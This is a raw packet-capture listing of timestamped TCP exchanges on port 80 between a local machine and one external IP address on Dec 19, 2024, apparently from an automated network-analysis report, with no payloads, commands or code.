Dec 19, 2024 06:10:10.572942972 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.573520899 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.573939085 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.574022055 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.574063063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.574338913 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.575048923 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.575134993 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.575198889 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.575977087 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.576215982 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.576327085 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.576355934 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.576411009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.577321053 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.577423096 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.577539921 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.578408003 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.578479052 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.578550100 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.713193893 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.713330030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.713490009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.713711023 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.713762999 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.713831902 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.713923931 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.714828014 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.714960098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.715059042 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.715902090 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.716029882 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.716089964 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.717022896 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.717210054 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.717216969 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.717307091 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.718152046 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.718231916 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.718341112 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.719240904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.719364882 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.719377995 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.719454050 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.720343113 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.720447063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.720516920 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.721472979 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.721543074 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.721580029 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.721695900 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.722565889 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.722662926 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.722683907 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.722733974 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.723714113 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.723818064 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.723978043 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.724808931 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.724894047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.724930048 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.725003004 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.725892067 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.726011992 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.726011992 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.726124048 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.726998091 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.727075100 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.727142096 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.727828979 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.728180885 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.728235960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.728423119 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.729242086 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.729370117 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.729485035 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.730340958 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.730417013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.730463982 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.730535030 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.731461048 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.731518030 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.731585979 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.732628107 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.732748985 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.732765913 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.732832909 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.733726978 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.733831882 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.733839035 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.734349966 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.734812975 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.734914064 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.734926939 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.735002041 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.735954046 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.736057043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.736063957 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.736867905 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.737041950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.737170935 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.737297058 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.738184929 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.738250971 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.738267899 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.738331079 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.739274025 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.739393950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.739610910 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.740367889 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.740487099 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.740595102 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.741487026 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.741599083 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.741605997 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.742422104 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.742603064 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.742717028 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.742772102 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.743720055 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.743769884 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.743830919 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.743901014 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.744824886 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.744934082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.744935036 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.744997978 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.745917082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.746001005 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.746032000 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.746215105 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.747040987 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.747136116 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.747268915 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.748141050 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.748311996 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.748325109 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.748464108 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.749244928 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.749341965 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.749392033 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.749464035 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.750349998 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.750421047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.750471115 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.750595093 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.751472950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.751597881 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.751600981 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.751661062 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.752589941 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.752691984 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.752752066 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.753705978 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.753843069 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.753911018 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.754806042 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.754865885 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.754921913 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.755186081 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.755919933 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.756052017 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.756134987 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.757179022 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.757281065 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.757308960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.757514000 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.758152008 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.758213043 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.758279085 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.758429050 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.759234905 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.759378910 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.759493113 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.760360956 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.760483980 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.760679007 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.761487961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.761606932 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.761629105 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.762144089 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.762574911 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.762696028 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.762780905 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.763717890 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.763849020 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.763849020 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.763926983 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.764848948 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.764964104 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.765027046 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.765912056 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.765975952 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.766032934 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.766408920 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.767020941 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.767146111 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.767172098 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.767221928 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.768171072 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.768229008 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.768316984 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.768423080 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.769256115 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.769325972 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.769370079 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.770369053 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.770452023 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.770492077 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.770647049 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.771485090 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.771565914 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.905114889 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.905184031 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.905204058 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.905635118 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.905715942 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.905788898 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.906183004 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.906733036 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.907025099 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.907126904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.907222986 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.907223940 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.907294989 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.908262014 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.908358097 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.908376932 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.909364939 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.909420967 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.909476042 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.909763098 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.910495996 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.910582066 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.910594940 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.910811901 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.911597013 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.911715984 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.911915064 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.912688017 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.912796021 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.912803888 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.913798094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.913830996 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.913937092 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.913944960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.914032936 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.914958000 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.915071011 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.915132999 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.916037083 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.916083097 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.916171074 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.916970968 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.917151928 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.917258978 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.917259932 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.917305946 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.918324947 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.918361902 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.918390989 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.918941021 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.919364929 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.919404984 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.919478893 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.919522047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.920491934 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.920535088 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.920579910 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.920615911 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.921601057 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.921658039 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.921700954 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.921758890 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.922705889 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.922847033 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.922900915 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.923825979 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.923897982 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.923958063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.924000978 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.924921989 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.925029039 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.925190926 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.926028013 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.926135063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.926331997 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.927165031 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.927203894 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.927257061 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.927285910 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.928280115 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.928385973 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.928452969 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.929411888 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.929510117 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.929572105 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.930041075 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.930479050 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.930530071 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.930591106 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.930661917 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.931605101 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.931693077 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.931710958 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.931832075 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.932715893 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.932832003 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.932893038 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.933834076 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.933967113 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.934293985 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.934936047 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.935018063 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.935048103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.935095072 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.936065912 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.936131001 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.936147928 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.936422110 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.937141895 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.937261105 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.937263012 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.937421083 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.938266039 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.938369989 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.938491106 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.939367056 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.939433098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.939553022 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.940520048 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.940562963 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.940603971 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.940643072 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.941585064 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.941694975 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.941699982 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.941951990 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.942737103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.942850113 CET	80	49910	31.41.244.11	192.168.2.4
